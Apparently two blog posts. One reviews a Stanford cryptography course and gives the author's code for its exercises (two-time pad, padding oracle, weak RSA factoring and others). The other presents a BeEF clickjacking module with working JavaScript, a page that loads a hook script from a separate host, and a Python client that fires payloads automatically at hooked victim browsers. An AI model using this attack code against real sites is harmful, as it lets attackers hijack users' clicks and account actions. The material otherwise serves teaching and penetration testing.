Free Stanford ‘Intro to Cryptography’ Class Review

Last Spring I took my first coursera class, Introduction to Cryptogaphy taught by Dan Boneh. In college I took a few crypto classes, and I also deal with some crypto problems at work and in CTF. Although I’m definitely not a crypto expert, I had a pretty good background going into the class. Looking at the syllabus, I expected to work through a few interesting problems, but I didn’t expect to get too much out of it.

The class certainly exceeded my expectations. Here are the obvious things: Dan knows crypto backward and forward, and is a great teacher. The format was great – I liked being able to rewind videos at pieces I didn’t understand at first. The forum was also great – other students would answer my questions (I answered a few for other people also), and Dan himself would regularly chime in with answers to tricky problems people ran into.

One of the biggest reasons I think the class was so good was its focus on offense. I don’t really understand how defensive security people can try to defend stuff without understanding offense… yet the crypto classes I’d taken before tried to do exactly that. How was I supposed to understand why things needed to be done a certain way if I don’t know how it can break? Crypto books have been the same way – every crypto book I’ve read before (e.g. Bruce Schneier books) don’t seem to give much page space to offense. Dan brings the attacker’s perspective into every lecture, and I have a much better understanding of practical cryptography because of it.

I did manage to finish the class, but it was a lot more difficult than I expected (a good difficult :)) They seem to offer this class regularly, and I couldn’t recommend it more to anyone interested in cryptography.

accomplishment

Here are excerpts of my favorite problems he gave us to solve, and my solution for those problems. If you’re planning on taking the full class – spoiler alert. These questions might also be interesting if you don’t want to take an entire class, but just want to try and solve some super cool crypto problems. One note is all of these problems were optional, which was a decision made early on because he didn’t want programming to be a prerequisite. These problems are not required to get a coveted statement of accomplishment.

Week 1 – Two Time Pad (Reusing Stream Cipher Keys)

Problem:

“Let us see what goes wrong when a stream cipher key is used more than once. Below are eleven hex-encoded ciphertexts that are the result of encrypting eleven plaintexts with a stream cipher, all with the same stream cipher key. Your goal is to decrypt the last ciphertext, and submit the secret message within it as solution. ” These ciphertexts are (sorry for the poor formatting, but you should be able to copy them out):

ciphers = [
"315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764703de0f3d524400a19b159610b11ef3e",
"234c02ecbbfbafa3ed18510abd11fa724fcda2018a1a8342cf064bbde548b12b07df44ba7191d9606ef4081ffde5ad46a5069d9f7f543bedb9c861bf29c7e205132eda9382b0bc2c5c4b45f919cf3a9f1cb74151f6d551f4480c82b2cb24cc5b028aa76eb7b4ab24171ab3cdadb8356f",
"32510ba9a7b2bba9b8005d43a304b5714cc0bb0c8a34884dd91304b8ad40b62b07df44ba6e9d8a2368e51d04e0e7b207b70b9b8261112bacb6c866a232dfe257527dc29398f5f3251a0d47e503c66e935de81230b59b7afb5f41afa8d661cb",
"32510ba9aab2a8a4fd06414fb517b5605cc0aa0dc91a8908c2064ba8ad5ea06a029056f47a8ad3306ef5021eafe1ac01a81197847a5c68a1b78769a37bc8f4575432c198ccb4ef63590256e305cd3a9544ee4160ead45aef520489e7da7d835402bca670bda8eb775200b8dabbba246b130f040d8ec6447e2c767f3d30ed81ea2e4c1404e1315a1010e7229be6636aaa",
"3f561ba9adb4b6ebec54424ba317b564418fac0dd35f8c08d31a1fe9e24fe56808c213f17c81d9607cee021dafe1e001b21ade877a5e68bea88d61b93ac5ee0d562e8e9582f5ef375f0a4ae20ed86e935de81230b59b73fb4302cd95d770c65b40aaa065f2a5e33a5a0bb5dcaba43722130f042f8ec85b7c2070",
"32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd2061bbde24eb76a19d84aba34d8de287be84d07e7e9a30ee714979c7e1123a8bd9822a33ecaf512472e8e8f8db3f9635c1949e640c621854eba0d79eccf52ff111284b4cc61d11902aebc66f2b2e436434eacc0aba938220b084800c2ca4e693522643573b2c4ce35050b0cf774201f0fe52ac9f26d71b6cf61a711cc229f77ace7aa88a2f19983122b11be87a59c355d25f8e4",
"32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd90f1fa6ea5ba47b01c909ba7696cf606ef40c04afe1ac0aa8148dd066592ded9f8774b529c7ea125d298e8883f5e9305f4b44f915cb2bd05af51373fd9b4af511039fa2d96f83414aaaf261bda2e97b170fb5cce2a53e675c154c0d9681596934777e2275b381ce2e40582afe67650b13e72287ff2270abcf73bb028932836fbdecfecee0a3b894473c1bbeb6b4913a536ce4f9b13f1efff71ea313c8661dd9a4ce",
"315c4eeaa8b5f8bffd11155ea506b56041c6a00c8a08854dd21a4bbde54ce56801d943ba708b8a3574f40c00fff9e00fa1439fd0654327a3bfc860b92f89ee04132ecb9298f5fd2d5e4b45e40ecc3b9d59e9417df7c95bba410e9aa2ca24c5474da2f276baa3ac325918b2daada43d6712150441c2e04f6565517f317da9d3",
"271946f9bbb2aeadec111841a81abc300ecaa01bd8069d5cc91005e9fe4aad6e04d513e96d99de2569bc5e50eeeca709b50a8a987f4264edb6896fb537d0a716132ddc938fb0f836480e06ed0fcd6e9759f40462f9cf57f4564186a2c1778f1543efa270bda5e933421cbe88a4a52222190f471e9bd15f652b653b7071aec59a2705081ffe72651d08f822c9ed6d76e48b63ab15d0208573a7eef027",
"466d06ece998b7a2fb1d464fed2ced7641ddaa3cc31c9941cf110abbf409ed39598005b3399ccfafb61d0315fca0a314be138a9f32503bedac8067f03adbf3575c3b8edc9ba7f537530541ab0f9f3cd04ff50d66f1d559ba520e89a2cb2a83",
"32510ba9babebbbefd001547a810e67149caee11d945cd7fc81a05e9f85aac650e9052ba6a8cd8257bf14d13e6f0a803b54fde9e77472dbff89d71b57bddef121336cb85ccb8f3315f4b52e301d16e9f52f904"
]

Solution

The most important piece of this is to realize that XORing the ciphertexts together produces the xor of the plaintexts. Additionally, if you can guess at the next character for a given row, you can xor the ciphertext with what it should be to produce the key.

For example, if the ciphertext were 89 and the letter should be ‘e’, then

>>> hex(ord('e') ^ 0x89)

would equal the key. You can apply this key to all rows and when you get it wrong, everything looks wonky.

So to demonstrate, the first step is to get a foothold. I postulated 32510b was “the” because it was repeated several times at the beginning and ‘the’ is the most common trigram. Applying this as a key, everything looked correct (try another common one, like ‘and’, and it will look off). I went one key at a time from there, using the following program.

#!/usr/bin/python

import sys
from optparse import OptionParser


#ciphers = ... #found above

class twotimepad:
    
    def __init__(self):
        #based on what we know so far...
        self.keysofar = [0x46, 0x39, 0x6e]



    def get_freq(self, charArray):
        letterdict = {}
        for i in charArray:
            try:
                letterdict[i] += 1
            except KeyError:
                letterdict = 1
        return letterdict

    def print_mSoFar(self):
        c_sofar = [i[0:len(self.keysofar)*2] for i in ciphers]
        for i in range(0,11):
            sys.stdout.write(str(i) + ".\t")
            for j in range(0, len(self.keysofar)):
                a = self.keysofar[j];
                b = int(c_sofar[i][j*2:j*2+2], 16)
                sys.stdout.write(chr(self.keysofar[j] ^ int(c_sofar[i][j*2:j*2+2], 16)))
            print ""

    def getnextchar(self, i):        
        nextchar = ciphers[i]
        nextchar = nextchar[len(self.keysofar)*2:len(self.keysofar)*2+2]       
        return nextchar
        
    def print_next_letter(self):
        for i in range(0,11):
            print (str(i) + ":\t"+ self.getnextchar(i))

    def add_key(self, num, letter='a'):
        if num == -1:
            self.keysofar = self.keysofar[:-1]
        else:
            self.keysofar.append(ord(letter) ^ int(self.getnextchar(num), 16))
            
    def run(self):        
        while 1:
            print "Current KEY"
            print self.keysofar
            print ("\r\nStuff so Far")
            self.print_mSoFar()
            print "\r\nNext Letter"
            #self.print_next_letter()
            num = int(raw_input("\r\n\r\nEnter next number (-1 for mistake): "))
            letter = raw_input("Enter letter: ")
            self.add_key(num, letter)
    
m = twotimepad()
m.run()

This makes a program where you get a shell thing to eyeball one character at a time.

1a

The final key was the following:

Key = [70, 57, 110, 137, 201, 219, 216, 204, 152, 116, 53, 42, 205, 99, 149, 16, 46, 175, 206, 120, 170, 127, 237, 40, 160, 127, 107, 201, 141, 41, 197, 11, 105, 176, 51, 154, 25, 248, 170, 64, 26, 156, 109, 112, 143, 128, 192, 102, 199, 99, 254, 240, 18, 49, 72, 205, 216, 232, 2, 208, 91, 169, 135, 119, 51, 93, 174, 252, 236, 213, 156, 67, 58, 107, 38, 139, 96, 191, 78, 240, 60, 154, 97]

And the final secret message was:

the secret message is: When using a stream cipher, never use the key more than once

Week 1 – Breaking a Linear Congruential Generator

Problem:

The PRG described below uses a 56-bit secret seed. Running the program generates the following first nine outputs of the PRG:

output #1: 210205973
output #2: 22795300
output #3: 58776750
output #4: 121262470
output #5: 264731963
output #6: 140842553
output #7: 242590528
output #8: 195244728
output #9: 86752752

Show that this PRG is insecure by computing the next output. What is the next output (output #10) of the PRG? Note that you are not given the seed.

import random

P = 295075153L   # about 2^28

class WeakPrng(object):
    def __init__(self, p):   # generate seed with 56 bits of entropy
        self.p = p
        self.x = random.randint(0, p)
        self.y = random.randint(0, p)
   
    def next(self):
        # x_{i+1} = 2*x_{i}+5  (mod p)
        self.x = (2*self.x + 5) % self.p

        # y_{i+1} = 3*y_{i}+7 (mod p)
        self.y = (3*self.y + 7) % self.p

        # z_{i+1} = x_{i+1} xor y_{i+1}
        return (self.x ^ self.y) 


prng = WeakPrng(P)
for i in range(1, 10):
  print "output #%d: %d" % (i, prng.next())

Solution

This looks like a Linear Congruential generator. from wikipedia: The period of a general LCG is at most m, and for some choices of a much less than that. Provided that c is nonzero, the LCG will have a full period for all seed values if and only if:[2]

The most important piece is maybe that it’s linear. Realize the following algorithm will take only about 2^28 guesses, one for every x.

For each x[i]:
  calculate what y[i] has to be, given that x[i] ^ y[i] = output[i]
  see if x[i+1] ^ y[i+1] == output[i+1]. If so, iterate, and we have a match

The following C# program calculates this very quickly, on my machine about five seconds.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace linear_prng
{
    class Program
    {


        static void Main(string[] args)
        {
            const int MAX = 295075153;
            int[] seq = new int[] { 210205973, 22795300, 58776750, 121262470, 264731963, 140842553, 242590528 };


            for (int x = 0; x < MAX; x++)
            {
                int x_temp = x;
                for (int i=0; i < seq.Length-1; i++)
                {
                    
                    int y = x_temp ^ seq[i];
                    int x_next = (2 * x_temp + 5) % MAX;
                    int y_next = (3 * y + 7) % MAX;
                    if (seq[i + 1] == (x_next ^ y_next))
                    {
                        System.Console.WriteLine("{0}: Sol x {1} {2}", i, x_temp, y);
                        x_temp = x_next;
                        y = y_next;
                    }
                    else
                    {
                        break;
                    }
                }
            }
            System.Console.ReadLine();
            
        }
    }
}

Plug the output into the original python program in place of the random x and y, and calculate the next number, which is: 231886864

Week 2 – Insecurity of a Two Round Feistel

Problem

Recall that the Luby-Rackoff theorem discussed in Lecture 3.2 states that applying a three round Feistel network to a secure PRF gives a secure block cipher. Let’s see what goes wrong if we only use a two round Feistel. Let F:K×{0,1}32→{0,1}32 be a secure PRF. Recall that a 2-round Feistel defines the following PRP F2:K2×{0,1}64→{0,1}64:

Feistel

Here R0 is the right 32 bits of the 64-bit input and L0 is the left 32 bits.

One of the following lines is the output of this PRP F2 using a random key, while the other three are the output of a truly random permutation f:{0,1}64→{0,1}64. All 64-bit outputs are encoded as 16 hex characters. Can you say which is the output of the PRP? Note that since you are able to distinguish the output of F2 from random, F2 is not a secure block cipher, which is what we wanted to show.

Hint: First argue that there is a detectable pattern in the xor of F2(⋅,064) and F2(⋅,132032). Then try to detect this pattern in the given outputs.

Then it gives some sample inputs and outputs

On input 0^64 the output is “2d1cfa42 c0b1d266”. On input 1^32 0^32 the output is “eea6e3dd b2146dd0”.
On input 064 the output is “7c2822eb fdc48bfb”. On input 132032 the output is “325032a9 c5e2364b”.
On input 064 the output is “290b6e3a 39155d6f”. On input 132032 the output is “d6f491c5 b645c008”.
On input 064 the output is “9d1a4f78 cb28d863”. On input 132032 the output is “75e5e3ea 773ec3e6”.

Solution

In the first round 0 is xored with the F(k1) and in the second 1 is xored with F(k1) so just looking at the first block, xor that with one and it should give us the first block of the second

This simple program does that xor

import sys

a = sys.argv[1].decode("hex")
for i in a:
sys.stdout.write("{0:02x} ".format(ord(i)^0xff))

print ""

Week 3 – Hash Collision

Problem

In this assignment your task is to find hash function collisions using the birthday attack discussed in the lecture.

Consider the hash function obtained by truncating the output of SHA256 to 50 bits, say H(x)=LSB50(SHA256(x)), that is we drop all but the right most 50 bits of the output. Your goal is to find a collision on this hash function. Find two strings x≠y such that LSB50(SHA256(x))=LSB50(SHA256(y)) and then enter the hex encoding of these strings in the fields below.

For an implementation of SHA256 use an existing crypto library such as PyCrypto (Python), Crypto++ (C++), or any other.

Solution

This code takes a few minutes, but it eventually finds a collision.



using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Security.Cryptography;
using System.Data.SqlServerCe;



namespace hash_collision
{
    class Program
    {
        //given a seed, returns the first 50 byte hash
        //woops, the assignment asks for the last
        static Int64 getTruncatedHash(int seed)
        {
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(BitConverter.GetBytes(seed));

            byte[] truncatedresult = new byte[8];
            Array.Copy(result, truncatedresult, 8);
            //last byte only car about two most significant bits, do & 0xB0
            truncatedresult[6] = (byte)(truncatedresult[6] & 0xB0);
            truncatedresult[7] = (byte)(0x00);
            return (BitConverter.ToInt64(truncatedresult, 0));

        }


        //given a seed, returns the last 50 byte hash
        static Int64 getEncatedHash(int seed)
        {
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(BitConverter.GetBytes(seed));

            byte[] truncatedresult = new byte[8];
            //Array.Copy(result, 0, truncatedresult, 23, 8);
            Array.Copy(result, 24, truncatedresult, 0, 8);
            //last byte only care about two least significant bits, do & 0x03
            truncatedresult[1] = (byte)(truncatedresult[1] & 0x03);
            truncatedresult[0] = (byte)(0x00);
            return (BitConverter.ToInt64(truncatedresult, 0));

        }

        static void printStuff(int val)
        {
            System.Console.Write("sha256(");
            byte[] seed = BitConverter.GetBytes(val);
            foreach (int i in seed)
            {
                System.Console.Write("{0:X2}", i); 
            }
            System.Console.Write(")\t");
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(seed);
            foreach (int i in result)
            {
                System.Console.Write("{0:X2}", i);
            }
            System.Console.Write("\r\n");
        }


        static void Main(string[] args)
        {

            for(int iter=0; iter<24; iter++)
            {
                Dictionary<Int64, int> mhash = new Dictionary<Int64, int>();

                //I'd much rather do 2^25, but .net throws an outofmemoryexception... too bad it's not config
                //something like Java -xMx2G, which would be nice.
                int scaler = (int)Math.Pow(2, 24);
                for (int i = scaler*iter; i < scaler*(iter+1); i++)
                {
                    Int64 fiftyhash = getEncatedHash(i);
                    if (mhash.ContainsKey(fiftyhash))                   {
                        System.Console.WriteLine("FOUND!!!!");
                        printStuff(i);
                        printStuff(mhash[fiftyhash]);
                        Environment.Exit(0);
                    }
                    else
                        mhash.Add(fiftyhash, i);

                }
                System.Console.WriteLine("Done with iteration {0} :(", iter);
                System.Threading.Thread.Sleep(500);
            }
        }
    }
}

collision

Week 4 – CBC with IV

Problem:

An attacker intercepts the following ciphertext (hex encoded):

   20814804c1767293b99f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d 

He knows that the plaintext is the ASCII encoding of the message “Pay Bob 100$” (excluding the quotes). He also knows that the cipher used is CBC encryption with a random IV using AES as the underlying block cipher. Show that the attacker can change the ciphertext so that it will decrypt to “Pay Bob 500$”. What is the resulting ciphertext (hex encoded)? This shows that CBC provides no integrity.

Solution:

This is insecure because the first message block is xored with the random IV

20814804c1767293b99f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d
P a y B o b 1 0 0 $

9th char
0xb9 decrypts to 1
0xb9 xor ascii (1 xor 5)
0xb9 xor 0x31 xor 0x35
= 0xbd

20814804c1767293bd9f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d

Week 4 – Padding Oracle

Problem:
 
A web site administrator found these log entries in a web server log. After some digging, the admin realized that the first log entry is an AES CBC encryption with random IV of some secret data (the ciphertext is hex encoded and appears right after the “GET /”). The secret data contains private user data that should only be known to the web site. 

After more digging the admin realized that the web site is vulnerable to a CBC padding oracle attack. In particular, when a decrypted CBC ciphertext ends in an invalid pad the web server returns a 403 error code (forbidden request). When the CBC padding is valid, but the message is malformed the web server returns a 404 error code (URL not found). To her horror, the admin realized that the log entries following the first entry are a result of a remote CBC padding oracle attack on the ciphertext in the first log entry. 

See if you can use the given log entries to recover the decryption of the ciphertext in the first log entry. Keep in mind that the first ciphertext block is the random IV. The decrypted message is ASCII encoded. 

Solution:

There are plenty of good resources about the padding oracle. My favorite is probably this: http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html

#!/usr/bin/python
import sys

class oracleAnal:
    #Original doc at http://spark-university.s3.amazonaws.com/stanford-crypto/projects/proj4-log.txt
    #The file processed here generated with cat ./proj4-log.txt | egrep " 404" | cut -f2 -d/ | cut -f1 -d " " > pad.txt
    def __init__(self, fname, debug=False):
      self.debug = debug
      self.iv = []
      self.requests = []
      #need to skip the iv (e.g. block 0)
      self.currBlock = 1
      self.parseRequests(fname)  
      for i in self.iv:
        self.decryptBlock(self.requests[16*self.currBlock:16*(self.currBlock+1)], i)
        self.currBlock += 1
    
    #this parses the request file into self.iv and self.requests
    def parseRequests(self, fname):
      f = open(fname)
      requests = f.readlines()
      for i in range(0, len(requests)):
        req = requests[i].strip()
        self.requests.append(req[:32])
        if(i % 16 == 0):
          self.iv.append(req[32:])
      f.close()
      
    #takes a string, decodes it, and splits it to a byte array  
    def decodestr(self, mstr):
      #blocks should be 16 bytes
      if(len(mstr) != 32):
        print "Error"
      mstr = mstr.decode("hex")
      s = [ord(ch) for ch in mstr]
      return s
      
    #each block in the list is of the 16 byte format like
    #e.g. 202020202020202020202020202020d8
    #and iv is the previous original 16 byte crypt block
    #e.g. cac544d7942e50e1a0afa156c803d115
    def decryptBlock(self, bList, iv):
        finalBstr = ""
        if self.debug:
            print "Decrypting a block with IV ", iv
        iv = self.decodestr(iv)
        for block in bList:
            decblock = self.decodestr(block)
            for i in range(0,len(decblock)):
                byte = decblock[i]
                #error here if the valid pad found is 0x20, but can manually fix later...
                #plus it's right 255/256 times :)
                if byte == 0x20:
                    continue
                pad = byte
                padRes = 16-i
                tiv = iv[i]
                if self.debug:
                    print hex(pad), hex(padRes), hex(tiv)
                    print chr(pad ^ padRes ^ tiv)
                finalBstr = chr(pad ^ padRes ^ tiv) + finalBstr
                break
        sys.stdout.write(finalBstr)


m = oracleAnal("pad.txt")

Week 5 – Meet in the Middle

Problem (shortened to take out extras since formatting was messed up in copy)

Your goal this week is to write a program to compute discrete log modulo a prime p. Let g be some element in Z∗p and suppose you are given h in Z∗p such that h=g^x where 1≤x≤240. Your goal is to find x. More precisely, the input to your program is p,g,h and the output is x.

The trivial algorithm for this problem is to try all 2^40 possible values of x until the correct one is found, that is until we find an x satisfying h=g^x in Zp. This requires 2^40 multiplications. In this project you will implement an algorithm that runs in time roughly 240−−−√=220 using a meet in the middle attack.

(he gives an algorithm)

Now that we have an algorithm, here is the problem to solve:

p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171
g = 11717829880366207009516117596335367088558084999998952205599979459063929499736583746670572176471460312928594829675428279466566527115212748467589894601965568
p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171

Each of these three numbers is about 153 digits. Find x such that h=g^x in Zp.

Solution

This was pretty straightforward.

import gmpy2


p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171
g = 11717829880366207009516117596335367088558084999998952205599979459063929499736583746670572176471460312928594829675428279466566527115212748467589894601965568
p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171

def calc1(i):
    denominv = pow(g, i, p)
    denom = gmpy2.invert(denominv, p)
    tval = gmpy2.mul(h, denom)
    retval = gmpy2.f_mod(tval, p)
    return retval

def calc2(i):
    return pow(g, (2**20)*i, p)

hasht = {}
for i in range(0,2**20):
    hasht[calc1(i)] = i
for i in range(0, 2**20):
    c2 = calc2(i)
    if c2 in hasht:
        print "x0: ", i
        print "x1: ", hasht[c2]
        break

x = (((357984 * 2**20) + 787046)% p)
print x

Week 6 – RSA Poor Primes

Problem

Your goal in this project is to break RSA when the public modulus N is generated incorrectly. This should serve as yet another reminder not to implement crypto primitives yourself.

Normally, the primes that comprise an RSA modulus are generated independently of one another. But suppose a developer decides to generate the first prime p by choosing a random number R and scanning for a prime close by. The second prime q is generated by scanning for some other random prime also close to R. We show that the resulting RSA modulus N=pq can be easily factored.

Suppose you are given a composite N and are told that N is a product of two relatively close primes p and q, namely p and q satisfy
|p−q|<2N^(1/4) (*)
Your goal is to factor N.

Factoring challenge #1: The following modulus N is a products of two primes p and q where |p−q|<2N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.

N = 17976931348623159077293051907890247336179769789423065727343008115 \
    77326758055056206869853794492129829595855013875371640157101398586 \
    47833778606925583497541085196591615128057575940752635007475935288 \
    71082364994994077189561705436114947486504671101510156394068052754 \
    0071584560878577663743040086340742855278549092581

Factoring challenge #2: The following modulus N is a products of two primes p and q where |p−q|<2^11*N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.

N = 6484558428080716696628242653467722787263437207069762630604390703787 \
    9730861808111646271401527606141756919558732184025452065542490671989 \
    2428844841839353281972988531310511738648965962582821502504990264452 \
    1008852816733037111422964210278402893076574586452336833570778346897 \
    15838646088239640236866252211790085787877

Factoring challenge #3: (extra credit) The following modulus N is a products of two primes p and q where |3p−2q|<N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.

N = 72006226374735042527956443552558373833808445147399984182665305798191 \
    63556901883377904234086641876639384851752649940178970835240791356868 \
    77441155132015188279331812309091996246361896836573643119174094961348 \
    52463970788523879939683923036467667022162701835329944324119217381272 \
    9276147530748597302192751375739387929

Solution

I only solved 1 and 2

import gmpy2
import math


class bad_rsa:
    def __init__(self, N):
        self.N = N
        self.computePrime()

    def computePrime(self):
        for i in range (1, 2**20):
            self.A = gmpy2.isqrt(self.N) + i
            self.calcX()
            if self.verify():
                print "found it!"
                print self.p
                break

    def calcX(self):
        Asquared = gmpy2.mul(self.A, self.A)
        remainder = gmpy2.sub(Asquared, self.N)
        self.x  = gmpy2.isqrt_rem(remainder)[0] 

    def verify(self):
        self.p = gmpy2.sub(self.A, self.x)
        self.q = gmpy2.add(self.A ,self.x)
        if gmpy2.mul(self.p, self.q) == self.N:
            return True
        else:
            return False


#problem 1
prob1 = gmpy2.mpz('17976931348623159077293051907890247336179769789423065727343008115' +
                   '77326758055056206869853794492129829595855013875371640157101398586' +
                   '47833778606925583497541085196591615128057575940752635007475935288' +
                   '71082364994994077189561705436114947486504671101510156394068052754' +
                   '0071584560878577663743040086340742855278549092581')
#problem 2
prob2 = gmpy2.mpz('6484558428080716696628242653467722787263437207069762630604390703787' +
                  '9730861808111646271401527606141756919558732184025452065542490671989' +
                  '2428844841839353281972988531310511738648965962582821502504990264452' +
                  '1008852816733037111422964210278402893076574586452336833570778346897' +
                  '15838646088239640236866252211790085787877')

a = bad_rsa(prob2)
raw_input("Enter Key")

BeEf Clickjacking Module and using the REST API to Automate Attacks

I’ve chatted about clickjacking a few times in the past. It’s an attack I think is often overlooked as non-important, and part of the reason people think that is probably because making these attacks convincing isn’t necessarily easy. To perform a convincing clickjacking attack as a pentester or real attacker, there are some tools that can be useful, but for the most part you’re pretty much stuck writing your own Javascript (or paying someone to write it for you). Well, this type of thing just got a whole lot easier.

A couple weeks ago my wife and I submitted a clickjacking module to BeEf (now accepted into the main branch). This is a post about that. First I’m going to talk about how it works, and then about how to use it.

Reliably Following the Mouse

One of the coolest features of this module is that it works in all tested versions of IE, chrome, and Firefox. There’s other mouse following code available, but to my knowledge, none of the previously written snippets have worked as reliably.

The idea behind following mouse is simple. There are two frames, an inner and an outer. The outer frame is large, and it’s what contains the entire clickjackable page. The inner frame registers a mousemove event that triggers when the mouse is moved over our own domain (once it exits the victim domain), and the inner iframe is updated so our mouse is always over whatever we want our victim to click on.

$j("body").mousemove(function(e) {
     $j(outerObj).css('top', e.pageY);
     $j(outerObj).css('left', e.pageX);
 });

The “body” turns out to be important, since IE didn’t recognize “document” – so if you have custom attacker pages watch out for that.

Also, it might be obvious, but although the inner iframe is visible by default, it can easily be configured to be invisible.

Multiple Clicks and Events

It’s a bit of a challenge on how to detect when a user clicks over a domain we don’t own. We solved this by giving focus to an invisible button on our domain, and then counting it as a click when that button loses focus.

$j(btnObj).focus();
$j(btnObj).focusout(function() {
    cjLog("Iframe clicked");
    iframeClicked();
});

When we do detect a click, the iframeClicked function counts it, updates the inneriframe position, and evaluates a custom function. This custom function is important because it allows us to update the visible page, making the attacker page appear responsive. In the demo page, this function can do things like update the displayed quote. There’s also a delay, which I discovered was important when testing various Google pages, because it takes a moment for some clicks to register, and if we immediately move the inneriframe it doesn’t work.

function iframeClicked(){
    clicked++;
    var jsfunc = '';
    jsfunc = clicks[clicked-1].js;
    innerPos.top = clicks[clicked].posTop;
    innerPos.left = clicks[clicked].posLeft;
    eval(unescape(jsfunc));
    setTimeout(function(){
        updateIframePosition();
    }, <%= @clickDelay %>);

    setTimeout(function(){
        var btnSelector = "#" + elems.btn;
        var btnObj = $j(btnSelector);
        $j(btnObj).focus();

        //check if there are any more actions to perform
        try {
            if (isNaN(parseInt(clicks[clicked].posTop))) {
                removeAll(elems);
                throw "No more clicks.";
            }
        } catch(e) {
            cjLog(e);
        }
    }, 200);
}

Using the BEEF REST API to Automatically Attack Victims when they Visit our Page

There are a few reasons we chose BeEf to write this. First, there’s a lot of information BeEf will gather that can be useful. It has browser detection, so if a certain browser renders a page differently we can detect that and tailor the attack accordingly. One drawback initially was the fact you had to login to a web console to customize an attack for a hooked browser. For clickjacking, this just doesn’t seem realistic. We want the attack to begin right when someone visits our page.

Luckily, BeEf recently added a REST API. There are a few examples of how this is useful. I’m surprised it isn’t getting more attention, because now all of a sudden when someone visits our attacker page our payload is fired off immediately rather than an attacker manually babysitting the sessions. This really applies to all modules – not just the clickjacking.

My strategy for firing off attacks is messy, but it seems to work fairly well. I just have a php file that hooks beef and then does a system call to a script that calls the REST client

<!-- BeEF hook call -->
<script type="text/javascript">
	var commandModuleStr = '<script src="http://192.168.138.129:3000/hook.js" type="text/javascript"><\/script>';
	document.write(commandModuleStr);
</script>
...
<!--
<?php
    system("python /var/www/beef/beefrest.py & > /tmp/myscriptlog.txt");
?> -->

The REST client script grabs the latest session and sends an attack. For example, to send our clickjacking attack

Update: This could be better by making use of the autorun call, which I didn’t know existed at the time. Here: http://blog.beefproject.com/2012/08/happy-hooking-beef-autorun-and-twitter.html, and http://blog.beefproject.com/2012/12/beef-shank-beef-mitm-for-pentests.html

#!/usr/bin/python

import json
import urllib
import urllib2
import time

class beefClickjack:
	def __init__(self, authkey, host):
		self.authkey = authkey
		self.host = host

	#returns all online hooked browsers
	#TODO exception handling
	def getHookedBrowsers(self):
		f = urllib2.urlopen(self.host + "/api/hooks?token=" + self.authkey)
		data = json.loads(f.read())
		hooked = data["hooked-browsers"]["online"]
		return hooked

	#returns most recent hooked browser
	#there is a bit of a race condition, but in reality it  shouldn't matter
	def getLastHooked(self):
		hooked = self.getHookedBrowsers()
		max_hook = sorted(hooked)[-1]
		print "============="
		print hooked
		print "============="
		sessionid = hooked[max_hook]["session"]
		return (sessionid, max_hook)

	#send clickjacking payload to most recently hooked browser
	#can get with /api/modules?token=....
	def sendClickjack(self, data):
		sessionId = self.getLastHooked()[0]
		url = self.host + "api/modules/" + sessionId + "/22?token=" + self.authkey
		print url
		req = urllib2.Request(url, data)
		req.add_header("Content-Type", "application/json; charset=UTF-8")
		f = urllib2.urlopen(req)
		print f.read()


#Below will need to be customized
if __name__ == "__main__":
        time.sleep(1)
	b = beefClickjack(
			authkey="ec808711566a1e2b85bc6c692681c946d97f0ba2",
			host="http://127.0.0.1:3000/"
		)
	data = {
		"iFrameSrc" : "http://www.amazon.com/gp/aw/d/0312546343/",
		"iFrameSecurityZone" : "off",
		"iFrameSandbox" : "off",
		"iFrameVisibility" : "on",
		"clickDelay" : "300",
		"iFrameWidth" :" 30",
		"iFrameHeight" :"15",
		"clickaction_1" : "$(\"#overlay1\").data(\"overlay\").close();",
		"iFrameLeft_1" : "990",
		"iFrameTop_1" : "180",
		"iFrameLeft_2" : "-",
		"iFrameTop_2" : "-"
	}
	b.sendClickjack(json.dumps(data))

Again, this could become more elegant. For example, you could keep track of all sessions and ensure every online session is sent a payload. This would also be where you could do various browser detection things to help determine anything browser specific.

Real World Usage/Examples

In September 2012 http://www.shodanhq.com/research/infodisc performed a basic scan against the Alexa top 10,000 sites on the Internet and found only 0.54% of these websites contained X-FRAME-OPTIONS. It is possible that the header is set only on pages that require authentication or pages that are used to change state. However, the percentage of websites with proper mitigations is undeniably low.

The fact is an attacker can use clickjacking against most websites, including commerce sites, financial sites, management consoles… most everything where you perform actions. When we first wrote this module our first test used multiple clicks against Google, which I believe still works today. Below I’ll outline a few simpler use cases for the module.

Amazon – Adding an Item to the Wishlist

One XSS I heard about recently was in the wishlist. Although this guy used CSRF to add an item to the cart, he could have also used clickjacking (or used clickjacking if the wishlist wasn’t vulnerable to CSRF). The REST API source above is for Amazon:

One interesting note that you’ll gather if you watched the video: Amazon proper had x-frame-options but the mobile pages did not, allowing for the “attack”. I reported this to Amazon and they’ve since added x-frame-options to the mobile pages.

WordPress

The goal of this “attack” is to get someone logged into wordpress.com to like a post that I’ve written (similar maybe to Facebook likejacking, but on wordpress). This demo is similar to the last one, but I’ll just use BeEf’s web interface rather than the REST api.

Nothing novel here except that it took longer to register a dummy wordpress account than it did to craft a clickjacking payload.

Conclusions

